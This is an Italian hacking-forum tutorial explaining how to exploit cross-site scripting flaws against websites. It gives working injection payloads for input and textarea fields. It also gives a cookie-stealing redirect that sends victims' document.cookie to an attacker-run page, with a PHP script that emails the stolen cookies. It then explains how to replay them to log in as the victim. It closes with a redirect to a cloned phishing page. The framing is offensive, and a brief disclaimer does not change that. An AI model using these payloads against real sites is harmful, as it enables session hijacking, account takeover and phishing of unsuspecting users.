Guida xss

+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.infernet-x.com

# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias “murdercode”) , non mi assumo
alcuna responsabilità circa l’uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Infernet ( http://www.infernet-x.com ) .
L’autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall’autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking
italiana Infernet X Forum wh italian hackin’ community , purchè non modificato in ogni sua parte . In caso di un eventuale
copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .

Per traduzioni + For translations
# murdercode(at)gmail(dot)com

HOW TO – Come Sfruttare le XSS (Cross Site Scripting)

# Introduzione
La tecnica del Cross Site Scriptin (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup
dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei “code injection” e
può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico
o statico .

# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è dunque far si che la pagina contenga del codice (preferibilmente javascript) all’interno della pagina , avendo così la possibilità di sfruttarla . Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell’esempio :

Codice:
<form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form>

Prendiamo in considerazione il fatto che quello che andremo a scrivere nella input viene salvato nel value , quindi se cerchiamo pippo la input sarà :

Codice:
<input type="text" id="cerca" name="cerca" value="pippo">

Vediamo ora come far eseguire del codice Javascript .
Se noi andremo a cercare la stringa “><script>alert(“xss”);</script> uscirà fuori questo tipo di input :

Codice:
<input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>">

Quindi la input viene chiusa e viene eseguito il javascript .
Ovviamente esistono altre mille modi , altro esempio :

Codice:
<textarea>lanostraricerca</textarea>

Dando il valore </textarea><script>alert(“xss”);</script><textarea> uscirà qualcosa del genere :

Codice:
<textarea></textarea><script>alert("xss");</script><textarea></textarea>

E’ possibile fare ciò anche per i background , bgcolor , parametri p e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser .

# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all’utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove
l’utilizzo di tale CMS è riservato solo al server che lo utilizza .
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi
solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque
utilizzata per fare azioni di Phishing .

# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo

Codice:
www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>

oppure tipo

Codice:
www.sito.it/pagina.php?variabile=">[XSS]

Ebbene , sono entrambi la stessa cosa . Al posto di XSS va inserito il codice javascript con tanto di tag per aprire
e chiudere lo script in javascript .
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi
dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .

Codice:
www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>
Dove SITO verrà sostituito con
www.nostrosito.it/rubacookie.php?cookie=

Andiamo ora a costruire la pagina rubacookie.php

Codice PHP:
<?
mail
("nostra@mail.it","Abbiamo rubato i cookie",$_GET['cookie'];
?>

In questo modo invieremo a noi stessi una mail con i cookie rubati .
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (se utilizziamo Firefox possiamo usare Add'n'Edit Cookies , un plugin per Firefox)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati
come user rubato . Da qui vola l'immaginazione .

# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile
rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
http://www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse
funzionalità del sito che abbiamo scelto di attaccare .

Lascia un commento